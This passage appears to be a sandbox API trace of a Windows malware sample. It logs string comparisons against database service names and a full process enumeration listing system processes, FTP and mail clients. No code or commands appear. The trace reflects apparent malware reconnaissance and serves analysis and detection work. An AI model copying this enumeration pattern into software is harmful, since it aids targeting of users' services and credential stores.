lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0167.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0167.214] lstrlenW (lpString="Themes") returned 6 [0167.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0167.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0167.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0167.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0167.214] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0167.219] Process32FirstW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0167.219] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0167.219] lstrlenW (lpString="System") returned 6 [0167.219] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0167.220] lstrlenW (lpString="smss.exe") returned 8 [0167.220] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.220] lstrlenW (lpString="csrss.exe") returned 9 [0167.220] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0167.221] lstrlenW (lpString="wininit.exe") returned 11 [0167.221] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0167.221] lstrlenW (lpString="csrss.exe") returned 9 [0167.221] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0167.221] lstrlenW (lpString="winlogon.exe") returned 12 [0167.222] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0167.222] lstrlenW (lpString="services.exe") returned 12 [0167.222] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0167.222] lstrlenW (lpString="lsass.exe") returned 9 [0167.222] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.223] lstrlenW (lpString="svchost.exe") returned 11 [0167.223] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.223] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.223] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0167.224] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0167.224] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.224] lstrlenW (lpString="svchost.exe") returned 11 [0167.224] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0167.224] lstrlenW (lpString="dwm.exe") returned 7 [0167.224] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.225] lstrlenW (lpString="svchost.exe") returned 11 [0167.225] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.225] lstrlenW (lpString="svchost.exe") returned 11 [0167.225] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.226] lstrlenW (lpString="svchost.exe") returned 11 [0167.226] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.226] lstrlenW (lpString="svchost.exe") returned 11 [0167.226] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.226] lstrlenW (lpString="svchost.exe") returned 11 [0167.226] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.227] lstrlenW (lpString="svchost.exe") returned 11 [0167.227] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.227] lstrlenW (lpString="svchost.exe") returned 11 [0167.227] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.228] lstrlenW (lpString="svchost.exe") returned 11 [0167.228] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.228] lstrlenW (lpString="svchost.exe") returned 11 [0167.228] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.228] lstrlenW (lpString="svchost.exe") returned 11 [0167.229] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.229] lstrlenW (lpString="svchost.exe") returned 11 [0167.229] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0167.229] lstrlenW (lpString="audiodg.exe") returned 11 [0167.229] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0167.230] lstrlenW (lpString="sihost.exe") returned 10 [0167.230] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x700, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0167.230] lstrlenW (lpString="svchost.exe") returned 11 [0167.230] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0167.231] lstrlenW (lpString="taskhostw.exe") returned 13 [0167.231] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x784, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0167.231] lstrlenW (lpString="explorer.exe") returned 12 [0167.231] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x890, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0167.231] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0167.231] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0167.232] lstrlenW (lpString="Memory Compression") returned 18 [0167.232] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0167.232] lstrlenW (lpString="SearchUI.exe") returned 12 [0167.232] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0167.233] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0167.233] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0167.233] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0167.233] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0167.233] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0167.234] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="tablets_refugees.exe")) returned 1 [0167.234] lstrlenW (lpString="tablets_refugees.exe") returned 20 [0167.234] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="migration dying locations.exe")) returned 1 [0167.234] lstrlenW (lpString="migration dying locations.exe") returned 29 [0167.234] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="college-advance.exe")) returned 1 [0167.235] lstrlenW (lpString="college-advance.exe") returned 19 [0167.235] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="nickel ra execution.exe")) returned 1 [0167.235] lstrlenW (lpString="nickel ra execution.exe") returned 23 [0167.235] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="boompromoterestore.exe")) returned 1 [0167.236] lstrlenW (lpString="boompromoterestore.exe") returned 22 [0167.236] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="metallic.exe")) returned 1 [0167.236] lstrlenW (lpString="metallic.exe") returned 12 [0167.236] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjustedfavors.exe")) returned 1 [0167.236] lstrlenW (lpString="adjustedfavors.exe") returned 18 [0167.236] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="brown parade bases.exe")) returned 1 [0167.237] lstrlenW (lpString="brown parade bases.exe") returned 22 [0167.237] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x52c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="specified wales.exe")) returned 1 [0167.237] lstrlenW (lpString="specified wales.exe") returned 19 [0167.237] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="inspiration.exe")) returned 1 [0167.238] lstrlenW (lpString="inspiration.exe") returned 15 [0167.238] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="importance-slot-announcements.exe")) returned 1 [0167.238] lstrlenW (lpString="importance-slot-announcements.exe") returned 33 [0167.238] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred-arrest.exe")) returned 1 [0167.238] lstrlenW (lpString="hundred-arrest.exe") returned 18 [0167.238] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="classbuck.exe")) returned 1 [0167.239] lstrlenW (lpString="classbuck.exe") returned 13 [0167.239] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="x-deutschland.exe")) returned 1 [0167.239] lstrlenW (lpString="x-deutschland.exe") returned 17 [0167.239] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sacred-sword-plc.exe")) returned 1 [0167.240] lstrlenW (lpString="sacred-sword-plc.exe") returned 20 [0167.240] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xce8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="laptop_wiring_candy.exe")) returned 1 [0167.240] lstrlenW (lpString="laptop_wiring_candy.exe") returned 23 [0167.240] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xaa8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="lawsuit.exe")) returned 1 [0167.240] lstrlenW (lpString="lawsuit.exe") returned 11 [0167.241] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0167.241] lstrlenW (lpString="3dftp.exe") returned 9 [0167.241] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0167.241] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0167.241] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0167.242] lstrlenW (lpString="alftp.exe") returned 9 [0167.242] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0167.242] lstrlenW (lpString="barca.exe") returned 9 [0167.242] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0167.243] lstrlenW (lpString="bitkinex.exe") returned 12 [0167.243] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0167.243] lstrlenW (lpString="coreftp.exe") returned 11 [0167.243] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0167.244] lstrlenW (lpString="far.exe") returned 7 [0167.244] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0167.245] lstrlenW (lpString="filezilla.exe") returned 13 [0167.245] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0167.245] lstrlenW (lpString="flashfxp.exe") returned 12 [0167.245] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0167.246] lstrlenW (lpString="fling.exe") returned 9 [0167.246] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0167.247] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0167.247] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0167.247] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0167.247] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0167.249] lstrlenW (lpString="icq.exe") returned 7 [0167.249] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0167.250] lstrlenW (lpString="leechftp.exe") returned 12 [0167.250] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0167.250] lstrlenW (lpString="ncftp.exe") returned 9 [0167.251] Process32NextW (in: hSnapshot=0x330, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7e0, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0167.251] lstrlenW (lpString="notepad.exe") returned 11 [0167.251] 